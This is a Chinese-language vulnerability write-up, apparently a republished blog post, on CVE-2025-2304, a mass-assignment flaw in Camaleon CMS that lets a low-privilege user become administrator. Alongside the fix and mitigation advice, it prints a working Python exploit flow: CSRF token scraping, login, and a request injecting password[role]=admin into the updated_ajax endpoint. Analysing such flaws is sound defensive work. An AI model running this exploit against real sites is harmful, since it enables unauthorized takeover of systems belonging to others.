文章总结： CVE-2025-2304是CamaleonCMS（版本<2.9.1）中存在的大规模赋值漏洞，允许低权限用户通过updated_ajax接口注入role参数将自身权限提升为管理员。漏洞利用复杂度低且危害严重（CVSS8.8），攻击者可完全接管系统。官方修复方案为升级至2.9.1版本，临时措施包括参数白名单过滤、接口访问控制和权限审计。 综合评分： 85 文章分类： 漏洞分析,WEB安全,安全建设,应急响应,解决方案
[漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升
原创
niuko niuko
Ncko
2026年6月21日 09:30 安徽
在小说阅读器读本章
去阅读
[漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升
免责声明： 由于传播、利用本公众号Ncko所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
漏洞简介
CVE-2025-2304 是 Camaleon CMS（版本 < 2.9.1）中存在的一个严重的大规模赋值漏洞。该漏洞允许已认证的低权限用户通过操纵请求参数，将自身权限提升为管理员。
漏洞根源在于 updated_ajax 接口未对用户提交的字段进行严格过滤，攻击者可以在更新个人资料的请求中注入 role 参数，将角色从普通用户修改为 admin，从而获得系统最高权限。
漏洞原理分析
什么是大规模赋值漏洞？
大规模赋元漏洞是指应用程序在接收用户输入并自动将其绑定到对象属性时，未对可修改的字段进行限制。攻击者可以通过在请求中添加额外参数，修改本不应由用户控制的字段。
Camaleon CMS 中的具体问题
在正常流程中，用户通过 /admin/users/{user_id}/updated_ajax 接口更新个人资料，提交的参数包括密码、确认密码等。但后端在处理时，直接将请求参数映射到用户对象，未过滤 role 字段。
关键问题代码逻辑如下：
# 漏洞利用时发送的恶意请求体
payload = {
"_method": "patch",
"authenticity_token": csrf_token,
"password[password]": password,
"password[password_confirmation]": password,
"password[role]": "admin" # ← 恶意注入的角色字段
}
后端接收到 password[role] 参数后，直接将其赋值给用户的 role 属性，导致普通用户瞬间变为管理员。
利用流程
是
是
否
否
获取CSRF Token
低权限用户登录
访问个人资料编辑页获取User ID
构造恶意请求注入role=admin
发送至updated_ajax接口
响应状态码200?
访问Dashboard验证
页面包含Administrator?
✅ 权限提升成功
❌ 利用失败
漏洞利用步骤详解
1. 环境准备
pip install requests beautifulsoup4
2. 获取 CSRF Token
脚本首先访问登录页面，通过解析 HTML 中的 <meta name="csrf-token"> 标签获取 CSRF 令牌：
url = f"http://{dom}:{port}/admin/login"
req = session.get(url)
soup = BeautifulSoup(req.text, 'html.parser')
meta_tag = soup.find('meta', attrs={'name': 'csrf-token'})
csrf_token = meta_tag.get('content')
3. 低权限用户登录
使用普通用户凭据进行认证，建立有效会话：
creds = {
"authenticity_token": csrf_token,
"user[username]": user,
"user[password]": password
}
r = session.post(f"http://{dom}:{port}/admin/login", data=creds)
4. 获取当前用户 ID
访问个人资料编辑页面，从隐藏表单字段中提取用户 ID：
url = f"http://{dom}:{port}/admin/profile/edit"
req = session.get(url)
soup = BeautifulSoup(req.text, 'html.parser')
input_tag = soup.find('input', attrs={'name': 'user[id]'})
user_id = input_tag.get("value")
5. 注入恶意参数提权
构造包含 role=admin 的请求发送至 updated_ajax 接口：
url = f"http://{dom}:{port}/admin/users/{user_id}/updated_ajax"
payload = {
"_method": "patch",
"authenticity_token": csrf_token,
"password[password]": password,
"password[password_confirmation]": password,
"password[role]": "admin"
}
ex = session.post(url, data=payload, headers={
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
})
6. 验证提权结果
访问 Dashboard 页面，检查是否包含 Administrator 关键字：
dashboard_url = f"http://{dom}:{port}/admin/dashboard"
req = session.get(dashboard_url)
if "Administrator" in req.text:
print("[$] Successfully Escalated Privilege from Client to Admin...")
漏洞影响评估
| 维度 | 评估 | | — | — | | 危害等级 | 严重 | | 攻击复杂度 | 低 | | 所需权限 | 低权限账户 | | 用户交互 | 无需用户交互 | | 影响范围 | 完整系统接管 | | CVSS 3.x | 8.8（High） |
修复建议
官方修复
升级 Camaleon CMS 至 2.9.1 及以上版本，官方已在新版本中对 updated_ajax 接口的参数进行白名单过滤。
临时缓解措施
- 1. 参数白名单过滤：在控制器层面对用户可修改的字段进行显式声明，拒绝接受
role等敏感字段
# Ruby on Rails 示例修复
def updated_ajax
user_params = params.require(:password).permit(:password, :password_confirmation)
# 不再接受 role 参数
current_user.update(user_params)
end
- 2. 接口访问控制：限制
updated_ajax接口仅允许用户修改自身非敏感信息 - 3. WAF 规则：在 Web 应用防火墙层面对请求参数进行检测，拦截包含
role字段的异常请求 - 4. 权限审计：定期审计系统中用户角色变更记录，发现异常提权行为
防御思考
大规模赋值漏洞是 Web 安全中常见但容易被忽视的问题。开发时应遵循以下原则：
- • 最小暴露原则：API 接口仅接收必要的参数，不使用批量赋值
- • 白名单优先：对用户输入字段使用白名单机制，而非黑名单
- • 分层校验：在控制器、模型、数据库多个层面进行字段权限控制
- • 角色变更审计：对关键权限变更操作记录日志并触发告警
结尾总结
CVE-2025-2304 再次提醒我们：永远不要信任用户输入。大规模赋值漏洞看似简单，但危害极大——一个低权限用户仅需一个 HTTP 请求就能接管整个系统。对于使用 Camaleon CMS 的团队，请尽快确认版本并升级。对于开发者，在编写任何更新接口时，务必对可修改字段进行严格的白名单控制。
在公众号发送 CVE-2025-2304，即可获取对应项目链接。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：Ncko niuko niuko《[漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
![[漏洞]CVE-2025-2304：CamaleonCMS大规模赋值漏洞导致权限提升](/images/random/titlepic/2.jpg)
评论